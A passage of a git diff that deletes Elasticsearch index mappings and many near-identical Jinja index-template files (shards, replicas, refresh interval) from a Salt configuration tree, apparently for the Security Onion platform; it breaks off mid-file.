"keyword" - } - } - }, - "state": { - "ignore_above": 1024, - "type": "keyword" - }, - "type": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "version": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "source": { - "properties": { - "address": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "as": { - "properties": { - "number": { - "type": "long" - }, - "organization": { - "properties": { - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - } - } - }, - "bytes": { - "type": "long" - }, - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "geo": { - "properties": { - "city_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "continent_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "country_iso_code": { - "ignore_above": 1024, - "type": "keyword" - }, - "country_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "location": { - "type": "geo_point" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - }, - "region_iso_code": { - "ignore_above": 1024, - "type": "keyword" - }, - "region_name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "ip": { - "type": "ip" - }, - "mac": { - "ignore_above": 1024, - "type": "keyword" - }, - "nat": { - "properties": { - "ip": { - "type": "ip" - }, - "port": { - "type": "long" - } - } - }, - "packets": { - "type": "long" - }, - "port": { - "type": "long" - }, - "registered_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "top_level_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "user": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "email": { - "ignore_above": 1024, - "type": "keyword" - }, - "full_name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "group": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "hash": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - } - } - }, - "tags": { - "ignore_above": 1024, - "type": "keyword", - "fields": { - "keyword": { - "type": "keyword" - } - } - }, - "threat": { - "properties": { - "framework": { - "ignore_above": 1024, - "type": "keyword" - }, - "tactic": { - "properties": { - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - }, - "reference": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "technique": { - "properties": { - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "reference": { - "ignore_above": 1024, - "type": "keyword" - } - } - } - } - }, - "tls": { - "properties": { - "cipher": { - "ignore_above": 1024, - "type": "keyword" - }, - "client": { - "properties": { - "certificate": { - "ignore_above": 1024, - "type": "keyword" - }, - "certificate_chain": { - "ignore_above": 1024, - "type": "keyword" - }, - "hash": { - "properties": { - "md5": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha1": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha256": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "issuer": { - "ignore_above": 1024, - "type": "keyword" - }, - "ja3": { - "ignore_above": 1024, - "type": "keyword" - }, - "not_after": { - "type": "date" - }, - "not_before": { - "type": "date" - }, - "server_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "subject": { - "ignore_above": 1024, - "type": "keyword" - }, - "supported_ciphers": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "curve": { - "ignore_above": 1024, - "type": "keyword" - }, - "established": { - "type": "boolean" - }, - "next_protocol": { - "ignore_above": 1024, - "type": "keyword" - }, - "resumed": { - "type": "boolean" - }, - "server": { - "properties": { - "certificate": { - "ignore_above": 1024, - "type": "keyword" - }, - "certificate_chain": { - "ignore_above": 1024, - "type": "keyword" - }, - "hash": { - "properties": { - "md5": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha1": { - "ignore_above": 1024, - "type": "keyword" - }, - "sha256": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "issuer": { - "ignore_above": 1024, - "type": "keyword" - }, - "ja3s": { - "ignore_above": 1024, - "type": "keyword" - }, - "not_after": { - "type": "date" - }, - "not_before": { - "type": "date" - }, - "subject": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "version": { - "ignore_above": 1024, - "type": "keyword" - }, - "version_protocol": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "trace": { - "properties": { - "id": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "transaction": { - "properties": { - "id": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "url": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "extension": { - "ignore_above": 1024, - "type": "keyword" - }, - "fragment": { - "ignore_above": 1024, - "type": "keyword" - }, - "full": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "original": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "password": { - "ignore_above": 1024, - "type": "keyword" - }, - "path": { - "ignore_above": 1024, - "type": "keyword" - }, - "port": { - "type": "long" - }, - "query": { - "ignore_above": 1024, - "type": "keyword" - }, - "registered_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "scheme": { - "ignore_above": 1024, - "type": "keyword" - }, - "top_level_domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "username": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "user": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "effective": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "email": { - "ignore_above": 1024, - "type": "keyword" - }, - "full_name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "group": { - "properties": { - "domain": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "hash": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "user_agent": { - "properties": { - "device": { - "properties": { - "name": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "name": { - "ignore_above": 1024, - "type": "keyword" - }, - "original": { - "fields": { - "keyword": { - "type": "keyword" - }, - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "os": { - "properties": { - "family": { - "ignore_above": 1024, - "type": "keyword" - }, - "full": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "kernel": { - "ignore_above": 1024, - "type": "keyword" - }, - "name": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "platform": { - "ignore_above": 1024, - "type": "keyword" - }, - "version": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "version": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "vulnerability": { - "properties": { - "category": { - "ignore_above": 1024, - "type": "keyword" - }, - "classification": { - "ignore_above": 1024, - "type": "keyword" - }, - "description": { - "fields": { - "text": { - "norms": false, - "type": "text" - } - }, - "ignore_above": 1024, - "type": "keyword" - }, - "enumeration": { - "ignore_above": 1024, - "type": "keyword" - }, - "id": { - "ignore_above": 1024, - "type": "keyword" - }, - "reference": { - "ignore_above": 1024, - "type": "keyword" - }, - "report_id": { - "ignore_above": 1024, - "type": "keyword" - }, - "scanner": { - "properties": { - "vendor": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "score": { - "properties": { - "base": { - "type": "float" - }, - "environmental": { - "type": "float" - }, - "temporal": { - "type": "float" - }, - "version": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "severity": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "winlog": { - "properties": { - "channel": { - "ignore_above": 1024, - "type": "keyword" - }, - "computer_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "event_id": { - "type": "long" - }, - "logon": { - "properties": { - "type": { - "ignore_above": 1024, - "type": "keyword" - } - } - }, - "message": { - "ignore_above": 1024, - "type": "keyword" - }, - "opcode": { - "type": "long" - }, - "provider_guid": { - "ignore_above": 1024, - "type": "keyword" - }, - "provider_name": { - "ignore_above": 1024, - "type": "keyword" - }, - "task": { - "type": "long" - } - } - } - } - }, - "settings": { - "index": { - "auto_expand_replicas": "0-1", - "mapping": { - "ignore_malformed": true, - "total_fields": { - "limit": 10000 - } - }, - "number_of_shards": 5 - } - } -} diff --git a/salt/elasticsearch/templates/so/so-f5-template.json.jinja b/salt/elasticsearch/templates/so/so-f5-template.json.jinja deleted file mode 100644 index 682a37c59..000000000 --- a/salt/elasticsearch/templates/so/so-f5-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-f5:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-f5:refresh', '30s') %} -{ - "index_patterns": ["so-f5-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-firewall-template.json.jinja b/salt/elasticsearch/templates/so/so-firewall-template.json.jinja deleted file mode 100644 index 7bc81fd12..000000000 --- a/salt/elasticsearch/templates/so/so-firewall-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-firewall:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-firewall:refresh', '30s') %} -{ - "index_patterns": ["so-firewall-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-flow-template.json.jinja b/salt/elasticsearch/templates/so/so-flow-template.json.jinja deleted file mode 100644 index 6c8f2fa9f..000000000 --- a/salt/elasticsearch/templates/so/so-flow-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-flow:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-flow:refresh', '30s') %} -{ - "index_patterns": ["so-flow-*"], - "version": 50001, - "order": 11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-fortinet-template.json.jinja b/salt/elasticsearch/templates/so/so-fortinet-template.json.jinja deleted file mode 100644 index 616607f52..000000000 --- a/salt/elasticsearch/templates/so/so-fortinet-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-zeek:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-zeek:refresh', '30s') %} -{ - "index_patterns": ["so-zeek-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-gcp-template.json.jinja b/salt/elasticsearch/templates/so/so-gcp-template.json.jinja deleted file mode 100644 index 4f1db4f20..000000000 --- a/salt/elasticsearch/templates/so/so-gcp-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-gcp:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-gcp:refresh', '30s') %} -{ - "index_patterns": ["so-gcp-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-google_workspace-template.json.jinja b/salt/elasticsearch/templates/so/so-google_workspace-template.json.jinja deleted file mode 100644 index 5ae26780a..000000000 --- a/salt/elasticsearch/templates/so/so-google_workspace-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-google_workspace:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-google_workspace:refresh', '30s') %} -{ - "index_patterns": ["so-google_workspace-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-ids-template.json.jinja b/salt/elasticsearch/templates/so/so-ids-template.json.jinja deleted file mode 100644 index abf37319a..000000000 --- a/salt/elasticsearch/templates/so/so-ids-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-ids:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-ids:refresh', '30s') %} -{ - "index_patterns": ["so-ids-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-imperva-template.json.jinja b/salt/elasticsearch/templates/so/so-imperva-template.json.jinja deleted file mode 100644 index 1f574f33a..000000000 --- a/salt/elasticsearch/templates/so/so-imperva-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-imperva:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-imperva:refresh', '30s') %} -{ - "index_patterns": ["so-imperva-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-import-template.json.jinja b/salt/elasticsearch/templates/so/so-import-template.json.jinja deleted file mode 100644 index e4d68235d..000000000 --- a/salt/elasticsearch/templates/so/so-import-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-import:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-import:refresh', '30s') %} -{ - "index_patterns": ["so-import-*"], - "version":50001, - "order": 11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-infoblox-template.json.jinja b/salt/elasticsearch/templates/so/so-infoblox-template.json.jinja deleted file mode 100644 index de613de7f..000000000 --- a/salt/elasticsearch/templates/so/so-infoblox-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-infoblox:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-infoblox:refresh', '30s') %} -{ - "index_patterns": ["so-infoblox-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-juniper-template.json.jinja b/salt/elasticsearch/templates/so/so-juniper-template.json.jinja deleted file mode 100644 index f637271a9..000000000 --- a/salt/elasticsearch/templates/so/so-juniper-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-juniper:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-juniper:refresh', '30s') %} -{ - "index_patterns": ["so-juniper-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-kibana-template.json.jinja b/salt/elasticsearch/templates/so/so-kibana-template.json.jinja deleted file mode 100644 index fe2004b0e..000000000 --- a/salt/elasticsearch/templates/so/so-kibana-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-kibana:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-kibana:refresh', '30s') %} -{ - "index_patterns": ["so-kibana-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-logstash-template.json.jinja b/salt/elasticsearch/templates/so/so-logstash-template.json.jinja deleted file mode 100644 index 2cf0aba42..000000000 --- a/salt/elasticsearch/templates/so/so-logstash-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-logstash:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-logstash:refresh', '30s') %} -{ - "index_patterns": ["so-logstash-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-microsoft-template.json.jinja b/salt/elasticsearch/templates/so/so-microsoft-template.json.jinja deleted file mode 100644 index 3493ccbb2..000000000 --- a/salt/elasticsearch/templates/so/so-microsoft-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-microsoft:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-microsoft:refresh', '30s') %} -{ - "index_patterns": ["so-microsoft-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-misp-template.json.jinja b/salt/elasticsearch/templates/so/so-misp-template.json.jinja deleted file mode 100644 index 67af1efde..000000000 --- a/salt/elasticsearch/templates/so/so-misp-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-misp:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-misp:refresh', '30s') %} -{ - "index_patterns": ["so-misp-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-netflow-template.json.jinja b/salt/elasticsearch/templates/so/so-netflow-template.json.jinja deleted file mode 100644 index 62c0972bf..000000000 --- a/salt/elasticsearch/templates/so/so-netflow-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-netflow:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-netflow:refresh', '30s') %} -{ - "index_patterns": ["so-netflow-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-netscout-template.json.jinja b/salt/elasticsearch/templates/so/so-netscout-template.json.jinja deleted file mode 100644 index 1dfe336d9..000000000 --- a/salt/elasticsearch/templates/so/so-netscout-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-netscout:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-netscout:refresh', '30s') %} -{ - "index_patterns": ["so-netscout-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-o365-template.json.jinja b/salt/elasticsearch/templates/so/so-o365-template.json.jinja deleted file mode 100644 index c1f4826f4..000000000 --- a/salt/elasticsearch/templates/so/so-o365-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-o365:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-o365:refresh', '30s') %} -{ - "index_patterns": ["so-o365-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-okta-template.json.jinja b/salt/elasticsearch/templates/so/so-okta-template.json.jinja deleted file mode 100644 index a4f2df44e..000000000 --- a/salt/elasticsearch/templates/so/so-okta-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-okta:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-okta:refresh', '30s') %} -{ - "index_patterns": ["so-okta-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-osquery-template.json.jinja b/salt/elasticsearch/templates/so/so-osquery-template.json.jinja deleted file mode 100644 index 47cb3ebab..000000000 --- a/salt/elasticsearch/templates/so/so-osquery-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-osquery:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-osquery:refresh', '30s') %} -{ - "index_patterns": ["so-osquery-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-ossec-template.json.jinja b/salt/elasticsearch/templates/so/so-ossec-template.json.jinja deleted file mode 100644 index ce903e228..000000000 --- a/salt/elasticsearch/templates/so/so-ossec-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-ossec:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-ossec:refresh', '30s') %} -{ - "index_patterns": ["so-ossec-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-proofpoint-template.json.jinja b/salt/elasticsearch/templates/so/so-proofpoint-template.json.jinja deleted file mode 100644 index d7b0ecbe2..000000000 --- a/salt/elasticsearch/templates/so/so-proofpoint-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-proofpoint:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-proofpoint:refresh', '30s') %} -{ - "index_patterns": ["so-proofpoint-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-radware-template.json.jinja b/salt/elasticsearch/templates/so/so-radware-template.json.jinja deleted file mode 100644 index 4efef6a4f..000000000 --- a/salt/elasticsearch/templates/so/so-radware-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-radware:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-radware:refresh', '30s') %} -{ - "index_patterns": ["so-radware-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-redis-template.json.jinja b/salt/elasticsearch/templates/so/so-redis-template.json.jinja deleted file mode 100644 index 616607f52..000000000 --- a/salt/elasticsearch/templates/so/so-redis-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-zeek:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-zeek:refresh', '30s') %} -{ - "index_patterns": ["so-zeek-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-snort-template.json.jinja b/salt/elasticsearch/templates/so/so-snort-template.json.jinja deleted file mode 100644 index 325f86bde..000000000 --- a/salt/elasticsearch/templates/so/so-snort-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-snort:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-snort:refresh', '30s') %} -{ - "index_patterns": ["so-snort-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-snyk-template.json.jinja b/salt/elasticsearch/templates/so/so-snyk-template.json.jinja deleted file mode 100644 index 0c2d291cc..000000000 --- a/salt/elasticsearch/templates/so/so-snyk-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-snyk:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-snyk:refresh', '30s') %} -{ - "index_patterns": ["so-snyk-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-sonicwall-template.json.jinja b/salt/elasticsearch/templates/so/so-sonicwall-template.json.jinja deleted file mode 100644 index b912e4d66..000000000 --- a/salt/elasticsearch/templates/so/so-sonicwall-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-sonicwall:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-sonicwall:refresh', '30s') %} -{ - 